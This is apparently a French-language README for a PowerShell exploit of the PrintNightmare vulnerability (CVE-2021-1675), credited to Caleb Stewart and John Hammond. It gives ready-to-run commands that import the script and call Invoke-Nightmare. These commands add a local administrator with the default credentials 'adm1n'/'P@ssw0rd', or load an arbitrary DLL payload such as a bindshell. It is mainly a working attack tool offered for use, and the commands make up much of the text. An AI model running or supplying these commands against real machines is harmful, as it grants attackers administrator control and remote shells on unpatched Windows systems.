
Script PowerShell pour l'élévation de privilèges locale sur Windows via la vulnérabilité PrintNightmare (CVE-2021-1675), ajoutant un utilisateur administrateur local ou exécutant des charges utiles DLL personnalisées.
Caleb Stewart | John Hammond | 1er juillet 2021
CVE-2021-1675 est une vulnérabilité critique d'exécution de code à distance et d'élévation de privilèges locaux surnommée « PrintNightmare ».
Des preuves de concept ont été publiées (Python, C++) pour la capacité d'exécution de code à distance, ainsi qu'une version C# pour l'élévation de privilèges locaux. Nous n'avions pas vu d'implémentation native en PowerShell pur, et nous voulions tenter de peaufiner et de reformuler l'exploit.
Ce script PowerShell effectue une élévation de privilèges locaux (LPE) avec la technique d'attaque PrintNightmare.

Ce script a été testé sur Windows Server 2016 et Windows Server 2019.
Ajoute un nouvel utilisateur au groupe des administrateurs locaux par défaut :
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # ajoute l'utilisateur `adm1n`/`P@ssw0rd` au groupe admin local par défaut
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
Fournissez une charge utile DLL personnalisée pour faire tout ce que vous souhaitez.
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"